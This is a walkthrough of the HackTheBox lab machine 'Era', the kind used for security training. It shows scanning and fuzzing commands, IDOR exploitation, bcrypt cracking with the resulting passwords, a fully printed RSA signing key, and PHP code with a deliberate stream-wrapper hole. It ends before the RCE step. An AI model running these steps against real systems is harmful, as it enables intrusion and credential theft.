HackTheBox: Era — Medium (Linux)

Full security assessment walkthrough for Era on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Era
HackTheBox
Linux Medium

🔖 Techniques & Vulnerabilities

InsecureDirectObjectReferenceIDORSecureCodeReviewHashesCrackingJohnTheRipperPHPWrapperBinaryELFSigningsqlirceremote code executionlfisudosuidcronjobbrute forceinsecure direct object reference

🔍 Reconnaissance / Port Scanning

nmap scan
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 10.129.174.224 --min-rate 10000
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 21:02 CEST
Nmap scan report for 10.129.174.224
Host is up (0.044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.31 seconds

🎯 Attack Surface Analysis

PortServiceVersion / Banner
21/tcpftp80/tcp open http
80/tcphttpnginx 1.18.0 (Ubuntu)
21/tcpFTP
  • Anonymous authentication may expose files without credentials
  • Credential brute-force against FTP login
  • Sensitive file enumeration in world-readable directories (configs, backups, source)
  • Clear-text protocol — credentials visible to on-path attackers
  • FTP bounce attack — PORT command abuse to scan internal services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens

📖 Walkthrough

Reconnaissance

Port Scanning

First we started with the initial port scan using Nmap. The scan revealed that only port 21/TCP and port 80/TCP were open and available to us.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 10.129.174.224 --min-rate 10000
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 21:02 CEST
Nmap scan report for 10.129.174.224
Host is up (0.044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.31 seconds

On port 80/TCP we noticed the redirect to http://era.htb which we added to our /etc/hosts file.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p 21,80 10.129.174.224
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 21:02 CEST
Nmap scan report for 10.129.174.224
Host is up (0.022s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.09 seconds
┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.174.224  era.htb

Enumeration of Port 80/TCP

The website running on port 80/TCP didn't provide us any useful or necessary information.

┌──(kali㉿kali)-[~]
└─$ whatweb http://era.htb/
http://era.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.174.224], JQuery[1.11.0], Script[text/javascript], Title[Era Designs], nginx[1.18.0]

Subdomain Enumeration

Since the website was a dead end we decided to enumerate potential Subdomains or Virtual Hosts (VHOST). For this step we used ffuf and very quickly found file.era.htb.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.era.htb" -u http://era.htb/ -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 22ms]
:: Progress: [151265/151265] :: Job [1/1] :: 2020 req/sec :: Duration: [0:00:52] :: Errors: 0 ::

This Subdomain also went directly into our /etc/hosts file.

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.174.224  era.htb
10.129.174.224  file.era.htb

As our next logical step we took a closer look at file.era.htb and found some sort of File Management System which allowed us to manage and upload files, as well as modifying Security Questions and to sign in using either legacy methods like username and password but also login via Security Questions.

Directory Brute Force

We not had any credentials yet and every basic test like admin:admin failed at this point. Therefore we decided to enumerate the Subdomain as well and started with Directory Brute Force using dirsearch.

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://file.era.htb/

  _|. _ _  _  _  _ _|_    v0.4.3                                                 
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                                                     
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_file.era.htb/__25-07-26_21-17-04.txt

Target: http://file.era.htb/

[21:17:04] Starting:
[21:17:08] 403 -  564B  - /.ht_wsr.txt                                      
[21:17:08] 403 -  564B  - /.htaccess.bak1                                   
[21:17:08] 403 -  564B  - /.htaccess.orig                                   
[21:17:08] 403 -  564B  - /.htaccess.sample                                 
[21:17:08] 403 -  564B  - /.htaccess.save                                   
[21:17:08] 403 -  564B  - /.htaccess_extra
[21:17:08] 403 -  564B  - /.htaccess_orig
[21:17:08] 403 -  564B  - /.htaccessBAK
[21:17:08] 403 -  564B  - /.htaccessOLD
[21:17:08] 403 -  564B  - /.htaccess_sc
[21:17:08] 403 -  564B  - /.htaccessOLD2
[21:17:08] 403 -  564B  - /.htm                                             
[21:17:08] 403 -  564B  - /.html
[21:17:08] 403 -  564B  - /.httr-oauth                                      
[21:17:08] 403 -  564B  - /.htpasswd_test
[21:17:08] 403 -  564B  - /.htpasswds
[21:17:19] 301 -  178B  - /assets  ->  http://file.era.htb/assets/          
[21:17:19] 403 -  564B  - /assets/                                          
[21:17:25] 302 -    0B  - /download.php  ->  login.php                      
[21:17:27] 301 -  178B  - /files  ->  http://file.era.htb/files/            
[21:17:27] 403 -  564B  - /files/                                           
[21:17:27] 403 -  564B  - /files/cache/                                     
[21:17:27] 403 -  564B  - /files/tmp/
[21:17:30] 301 -  178B  - /images  ->  http://file.era.htb/images/          
[21:17:30] 403 -  564B  - /images/                                          
[21:17:32] 200 -   34KB - /LICENSE                                          
[21:17:32] 200 -    9KB - /login.php                                        
[21:17:33] 200 -   70B  - /logout.php                                       
[21:17:33] 302 -    0B  - /manage.php  ->  login.php                        
[21:17:41] 200 -    3KB - /register.php                                     
[21:17:49] 302 -    0B  - /upload.php  ->  login.php                        
                                                                             
Task Completed
User Registration

The one endpoint that didn't showed up on the landing page of the Subdomain was /register.php.

Application Sign In

We registered a user on /register.php and logged in.

Application Dashboard

The Dashboard showed the options mentioned on the landing page.

When we uploaded a dummy file and tried to access it, the URL changed to a random ID which pointed to our file.

Insecure Direct Object Reference (IDOR)

The discovery of the ID made us thinking if we eventually had to deal with some sort of Insecure Direct Object Reference (IDOR) vulnerability. To verify or rule out this assumption we used ffuf again and specified our Cookie in the Header Option to fuzz the four digit ID field.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -H "Cookie: PHPSESSID=vrjbq7kmla3ajds6q6vg96l79m" -u 'http://file.era.htb/download.php?id=FUZZ' --fs 7686

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt
 :: Header           : Cookie: PHPSESSID=vrjbq7kmla3ajds6q6vg96l79m
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7686
________________________________________________

0054                    [Status: 200, Size: 6380, Words: 2552, Lines: 222, Duration: 16ms]
0150                    [Status: 200, Size: 6367, Words: 2552, Lines: 222, Duration: 25ms]
3757                    [Status: 200, Size: 6363, Words: 2552, Lines: 222, Duration: 17ms]
:: Progress: [10000/10000] :: Job [1/1] :: 1680 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

Besides the IDwe already knew we found two more which verified that we indeed had found an IDOR vulnerability.

Next we downloaded both files, 0045 and 0150.

Investigating Backup Files

The first file 0045 was a complete backup of the Subdomain which contained some very interesting files like the filedb.sqlite.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Era/files]
└─$ unzip site-backup-30-08-24.zip 
Archive:  site-backup-30-08-24.zip
  inflating: LICENSE                 
  inflating: bg.jpg                  
   creating: css/
  inflating: css/main.css.save       
  inflating: css/main.css            
  inflating: css/fontawesome-all.min.css  
  inflating: css/noscript.css        
   creating: css/images/
 extracting: css/images/overlay.png  
  inflating: download.php            
  inflating: filedb.sqlite           
   creating: files/
  inflating: files/.htaccess         
 extracting: files/index.php         
  inflating: functions.global.php    
  inflating: index.php               
  inflating: initial_layout.php      
  inflating: layout.php              
  inflating: layout_login.php        
  inflating: login.php               
  inflating: logout.php              
  inflating: main.png                
  inflating: manage.php              
  inflating: register.php            
  inflating: reset.php               
   creating: sass/
   creating: sass/layout/
  inflating: sass/layout/_wrapper.scss  
  inflating: sass/layout/_footer.scss  
  inflating: sass/layout/_main.scss  
  inflating: sass/main.scss          
   creating: sass/base/
  inflating: sass/base/_page.scss    
  inflating: sass/base/_reset.scss   
  inflating: sass/base/_typography.scss  
   creating: sass/libs/
  inflating: sass/libs/_vars.scss    
  inflating: sass/libs/_vendor.scss  
  inflating: sass/libs/_functions.scss  
  inflating: sass/libs/_mixins.scss  
  inflating: sass/libs/_breakpoints.scss  
  inflating: sass/noscript.scss      
   creating: sass/components/
  inflating: sass/components/_actions.scss  
  inflating: sass/components/_icons.scss  
  inflating: sass/components/_button.scss  
  inflating: sass/components/_icon.scss  
  inflating: sass/components/_list.scss  
  inflating: sass/components/_form.scss  
  inflating: screen-download.png     
  inflating: screen-login.png        
  inflating: screen-main.png         
  inflating: screen-manage.png       
  inflating: screen-upload.png       
  inflating: security_login.php      
  inflating: upload.php              
   creating: webfonts/
  inflating: webfonts/fa-solid-900.eot  
  inflating: webfonts/fa-regular-400.ttf  
  inflating: webfonts/fa-regular-400.woff  
  inflating: webfonts/fa-solid-900.svg  
  inflating: webfonts/fa-solid-900.ttf  
  inflating: webfonts/fa-solid-900.woff  
  inflating: webfonts/fa-brands-400.ttf  
 extracting: webfonts/fa-regular-400.woff2  
  inflating: webfonts/fa-solid-900.woff2  
  inflating: webfonts/fa-regular-400.eot  
  inflating: webfonts/fa-regular-400.svg  
  inflating: webfonts/fa-brands-400.woff2  
  inflating: webfonts/fa-brands-400.woff  
  inflating: webfonts/fa-brands-400.eot  
  inflating: webfonts/fa-brands-400.svg

Using strings on this file gave us a lot of Hashes as well as something that look like the answers (MariaOliverOttawa) to the Security Questions of a user.

┌──(kali㉿kali)-[/media/…/Machines/Era/files/unzip]
└─$ strings filedb.sqlite 
SQLite format 3
3tableusersusers
CREATE TABLE users (
                user_id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_name varchar(255) NOT NULL,
                user_password varchar(255) NOT NULL,
                auto_delete_files_after int NOT NULL
                , security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255))P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
7tablefilesfiles
CREATE TABLE files (
                fileid int NOT NULL PRIMARY KEY,
                filepath varchar(255) NOT NULL,
                fileowner int NOT NULL,
                filedate timestamp NOT NULL
                ))
indexsqlite_autoindex_files_1files
6files/site-backup-30-08-24.zipf
ethan$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
john$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
yuri$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
veronica$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
admin_ef01cab31aa$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
XMariaOliverOttawaJ
eric$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
users

Furthermore the download.php showed a potentially vulnerable function, only accessible by the user with the ID of 1 which was the admin of the application. We found his username (admin_ef01cab31aa) already in the filedb.sqlite database.

┌──(kali㉿kali)-[/media/…/Machines/Era/files/unzip]
└─$ cat download.php 
<?php

require_once('functions.global.php');
require_once('layout.php');

function deliverMiddle_download($title, $subtitle, $content) {
    return '
    <main style="
        display: flex; 
        flex-direction: column; 
        align-items: center; 
        justify-content: center; 
        height: 80vh; 
        text-align: center;
        padding: 2rem;
    ">
        <h1>' . htmlspecialchars($title) . '</h1>
        <p>' . htmlspecialchars($subtitle) . '</p>
        <div>' . $content . '</div>
    </main>
    ';
}


if (!isset($_GET['id'])) {
        header('location: index.php'); // user loaded without requesting file by id
        die();
}

if (!is_numeric($_GET['id'])) {
        header('location: index.php'); // user requested non-numeric (invalid) file id
        die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
        echo deliverTop("Era - Download");

        echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

        echo deliverBottom();
} else {
        $fileName = str_replace("files/", "", $fetched[0]);


        // Allow immediate file download
        if ($_GET['dl'] === "true") {

                header('Content-Type: application/octet-stream');
                header("Content-Transfer-Encoding: Binary");
                header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
                readfile($fetched[0]);
        // BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }


        // Allow simple download
        } else {
                echo deliverTop("Era - Download");
                echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');

        }

}


?>
<--- CUT FOR BREVITY --->
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }
<--- CUT FOR BREVITY --->

The second file 0150 contained an Configuration File (x509.genkey) for OpenSSL and a Key (key.pem).

┌──(kali㉿kali)-[/media/…/Machines/Era/files/unzip2]
└─$ unzip signing.zip 
Archive:  signing.zip
  inflating: key.pem                 
  inflating: x509.genkey
┌──(kali㉿kali)-[/media/…/Machines/Era/files/unzip2]
└─$ openssl rsa -in key.pem -check -noout
RSA key ok
┌──(kali㉿kali)-[/media/…/Machines/Era/files/unzip2]
└─$ openssl pkey -in key.pem -text -noout
Private-Key: (2048 bit, 2 primes)
modulus:
    00:aa:28:7d:f4:f9:16:63:93:18:95:24:c9:ee:07:
    a6:f5:74:36:d6:51:ac:37:a7:64:32:42:f5:8c:6c:
    5b:ec:8b:bc:c6:d6:41:36:2c:1a:ca:8e:c1:32:bd:
    cc:68:f2:6d:30:2f:d7:de:b8:58:8e:95:c8:83:31:
    a9:84:2c:c0:16:d1:48:cc:c9:ec:34:d7:e4:be:6c:
    01:1c:39:ac:07:f3:56:d5:6a:1c:4d:90:0e:21:1e:
    2f:5d:fe:bc:ac:4d:ef:dd:9c:d9:21:d3:c2:a0:1e:
    1c:c5:99:30:29:8d:b5:74:31:0c:14:0c:e2:d7:4b:
    0f:5e:1d:df:b5:54:90:a5:c2:1c:00:b0:be:31:76:
    4e:29:41:2e:9d:02:e2:44:9f:1d:c8:cc:da:10:db:
    77:fe:74:fa:93:08:c0:00:59:24:fa:ed:53:d9:8d:
    28:f0:5b:5f:c7:1c:d8:b5:d9:e3:de:c0:42:51:18:
    1f:b6:2b:e6:1e:1a:3f:a5:c5:28:56:fc:8d:63:60:
    41:e7:b0:ea:e5:88:cd:a1:66:f3:8b:a9:2f:4b:8e:
    1a:9f:23:df:90:d5:1c:48:40:5e:bd:c8:01:14:78:
    de:25:62:ea:5a:d0:68:6b:da:1f:7a:60:b4:44:e5:
    8c:97:68:1c:5d:48:0e:20:2c:63:95:1d:98:0c:97:
    68:bf
publicExponent: 65537 (0x10001)
privateExponent:
    2c:23:b9:dc:d8:da:9a:74:f7:6d:04:f0:8e:db:14:
    4f:da:d8:38:cb:51:f1:d3:ed:d5:6d:f2:35:7d:8c:
    70:f5:a4:c0:2d:a7:17:ee:e3:fa:44:82:d0:6f:54:
    bd:aa:99:71:65:0f:c9:fa:27:1a:c1:b7:14:75:47:
    04:7e:f9:4b:51:f9:e1:09:c6:48:c4:f2:55:05:3e:
    5a:7c:89:68:3c:92:fb:64:7d:b8:0f:14:e3:39:69:
    cf:27:bb:f8:b4:74:f3:17:73:69:e7:7d:36:bc:e8:
    f8:c7:2e:ab:b0:d3:6f:b3:23:6f:76:12:48:07:f4:
    12:15:8c:c9:04:89:4b:3d:fc:9c:a3:9c:40:14:21:
    c1:d9:a2:64:c9:d5:42:9e:d7:e1:71:3b:df:ed:96:
    7e:df:4d:49:e7:9d:cc:2a:58:45:91:eb:23:cd:b4:
    3b:ee:0c:79:0a:ee:99:f5:62:8d:b2:f6:c7:1d:e8:
    d2:99:ef:12:75:e2:a9:bc:49:8d:84:12:f2:08:d2:
    50:01:42:73:90:34:7c:73:06:99:5a:6f:2f:eb:bb:
    4a:fe:34:9a:3f:eb:9c:6b:c3:10:09:da:35:ff:a3:
    4a:50:bd:29:d1:79:cf:d8:16:00:f8:a2:ec:94:2d:
    4f:35:b3:c4:38:a7:53:13:54:86:52:74:d1:d7:f6:
    f5
prime1:
    00:ec:02:4c:cd:8c:70:07:34:a5:5e:c4:9e:2a:e0:
    24:44:6b:03:9f:74:1f:cf:7b:49:66:dd:d3:5f:e5:
    49:44:6e:03:56:54:a1:31:80:df:dd:12:14:cb:55:
    88:29:55:72:62:64:98:4a:3c:63:21:4a:78:59:ff:
    4a:16:81:20:2f:61:ca:4f:b2:eb:d9:fd:63:7b:96:
    c7:93:b0:7e:a3:6d:1c:95:81:df:26:08:5e:09:88:
    2c:37:82:eb:28:05:f0:ad:a7:db:29:cb:c5:63:b3:
    49:9c:58:74:56:3d:16:3c:41:b3:06:fd:25:02:9d:
    44:b4:2a:e4:f5:8a:48:88:63
prime2:
    00:b8:92:42:a5:c9:5c:b6:f9:9d:ff:cc:c3:d3:0a:
    56:bf:21:5e:bf:12:22:e2:75:27:67:44:77:c3:c7:
    c9:7a:ec:37:34:de:d8:60:01:a2:85:51:83:15:a7:
    08:9a:df:f5:17:41:2f:53:3e:3f:40:cb:e0:c3:92:
    45:ec:9f:1f:26:d6:93:31:57:4c:2d:92:b7:9c:a5:
    5a:d2:07:d4:2f:99:d2:d8:ba:ea:27:98:6f:27:96:
    01:ec:e1:b7:e5:fc:93:bf:f9:8e:e5:cf:f5:26:d6:
    a3:3b:6a:86:72:3c:51:1e:65:37:a1:ea:a3:36:b3:
    ee:ca:90:19:d2:be:78:36:f5
exponent1:
    00:ac:ce:1a:52:3e:cc:20:5a:89:e3:53:ef:c3:d1:
    0e:7d:12:26:3a:f0:9a:02:1f:71:65:62:72:cc:ba:
    63:e5:38:f0:34:9c:0e:d2:e2:5c:07:d0:9f:6d:2a:
    99:62:3a:70:60:5e:eb:ab:1f:80:2d:f6:0b:1d:4a:
    71:82:fc:d5:06:1c:82:37:cc:f8:28:4b:02:36:91:
    f6:5b:cb:55:4e:70:2c:07:c4:6a:11:bc:fa:ad:dc:
    09:14:34:45:de:ae:4a:c5:bc:2c:1a:f4:5a:f9:5f:
    63:3c:98:ff:c5:cd:40:a4:aa:2e:5d:a5:a9:1d:ba:
    ed:7d:46:13:13:3e:47:51:a5
exponent2:
    00:89:b5:4e:96:a5:4b:50:95:a3:45:d4:80:12:b8:
    77:0a:79:9a:58:52:ee:c6:29:84:b1:ae:ca:f0:be:
    e2:5b:9d:5c:7f:4c:f9:01:80:96:c2:83:93:9b:17:
    19:fb:7b:b7:40:97:78:f8:d1:cb:9d:cb:bf:b2:0b:
    33:b2:9c:f2:40:26:fe:81:64:d1:c8:7a:dc:15:ba:
    e5:ad:28:fc:2e:5b:c5:8d:c0:bf:ad:b5:34:d1:c3:
    41:42:7d:12:99:3c:be:fc:0f:f5:87:0f:86:a8:68:
    a2:37:55:7e:64:43:0e:7e:f0:23:f6:e1:ba:ce:b8:
    a7:24:69:29:6b:2c:83:42:f5
coefficient:
    3b:3d:d1:f2:32:ae:58:3a:60:60:78:af:a1:32:e2:
    f5:ed:54:89:a9:be:78:df:70:db:c0:9a:00:f0:b9:
    8f:f3:cc:b6:6f:f1:8e:43:25:64:de:f2:ec:69:88:
    f7:28:a5:ad:68:0b:a5:7b:07:3b:c8:96:cf:82:0b:
    b5:42:85:ce:da:59:c0:09:79:39:64:de:10:47:8f:
    bb:69:71:fc:0d:c2:4d:73:81:ca:f5:be:ec:ad:17:
    0e:b8:c7:69:ea:e6:87:48:4b:ef:34:4e:16:53:70:
    67:9d:4e:e8:f5:a8:a4:f3:c4:df:d2:79:f2:dd:bb:
    df:bc:31:79:55:64:15:a3
┌──(kali㉿kali)-[/media/…/Machines/Era/files/unzip2]
└─$ cat x509.genkey 
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = [email protected]

[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid

Cracking the Hashes

We carved out the Hashes and started cracking them using John the Ripper.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Era/files]
└─$ cat hashes 
$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm

After a few seconds we got two of the hashes cracked.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Era/files]
└─$ sudo john hashes --wordlist=/usr/share/wordlists/rockyou.txt 
[sudo] password for kali: 
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america          (?)     
mustang          (?)
UsernamePassword
yurimustang
ericamerica

Enumeration of Port 21/TCP

FTP Access

The user yuri was able to login on port 21/TCP.

┌──(kali㉿kali)-[~]
└─$ ftp [email protected]
Connected to 10.129.174.224.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
UsernamePassword
yurimustang

The user had only permissions to read files and folders but that alone gave us some useful information.

ftp> dir
229 Entering Extended Passive Mode (|||33204|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
ftp> binary

First we checked the apache2_conf directory.

ftp> cd apache2_conf
250 Directory successfully changed.

It contained a few configuration files but none of them very useful at this point.

ftp> dir
229 Entering Extended Passive Mode (|||13619|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            1332 Dec 08  2024 000-default.conf
-rw-r--r--    1 0        0            7224 Dec 08  2024 apache2.conf
-rw-r--r--    1 0        0             222 Dec 13  2024 file.conf
-rw-r--r--    1 0        0             320 Dec 08  2024 ports.conf
226 Directory send OK.

Next we checked the php8.1_conf folder.

ftp> cd php8.1_conf
250 Directory successfully changed.

It contained a lot of modules but one of them stood out. It was the ssh2.so module.

ftp> dir
229 Entering Extended Passive Mode (|||64858|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 build
-rw-r--r--    1 0        0           35080 Dec 08  2024 calendar.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 ctype.so
-rw-r--r--    1 0        0          190728 Dec 08  2024 dom.so
-rw-r--r--    1 0        0           96520 Dec 08  2024 exif.so
-rw-r--r--    1 0        0          174344 Dec 08  2024 ffi.so
-rw-r--r--    1 0        0         7153984 Dec 08  2024 fileinfo.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 ftp.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 gettext.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 iconv.so
-rw-r--r--    1 0        0         1006632 Dec 08  2024 opcache.so
-rw-r--r--    1 0        0          121096 Dec 08  2024 pdo.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 pdo_sqlite.so
-rw-r--r--    1 0        0          284936 Dec 08  2024 phar.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 posix.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 readline.so
-rw-r--r--    1 0        0           18696 Dec 08  2024 shmop.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 simplexml.so
-rw-r--r--    1 0        0          104712 Dec 08  2024 sockets.so
-rw-r--r--    1 0        0           67848 Dec 08  2024 sqlite3.so
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvmsg.so
-rw-r--r--    1 0        0           14600 Dec 08  2024 sysvsem.so
-rw-r--r--    1 0        0           22792 Dec 08  2024 sysvshm.so
-rw-r--r--    1 0        0           35080 Dec 08  2024 tokenizer.so
-rw-r--r--    1 0        0           59656 Dec 08  2024 xml.so
-rw-r--r--    1 0        0           43272 Dec 08  2024 xmlreader.so
-rw-r--r--    1 0        0           51464 Dec 08  2024 xmlwriter.so
-rw-r--r--    1 0        0           39176 Dec 08  2024 xsl.so
-rw-r--r--    1 0        0           84232 Dec 08  2024 zip.so
226 Directory send OK.
<--- CUT FOR BREVITY --->
-rw-r--r--    1 0        0          313912 Dec 08  2024 ssh2.so
<--- CUT FOR BREVITY --->

Foothold

Privilege Escalation to Admin

After we checked basically every file provided by the FTP Server we headed back to the web application and checked the Update Security Questions tab. It allowed every user which was able to login, to update the Security Questions of any other user. Like admin_ef01cab31aa.

admin_ef01cab31aa

Therefore we updated the Security Questions of adminef01cab31aa and used the Log in Using Security Questions options on the website to escalate our privileges to adminef01cab31aa.

Remote Code Execution (RCE) through PHP Wrapper

Now being admin_ef01cab31aa was not very useful in the first place but it allowed us to make use of the BETA Function.

<--- CUT FOR BREVITY --->
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

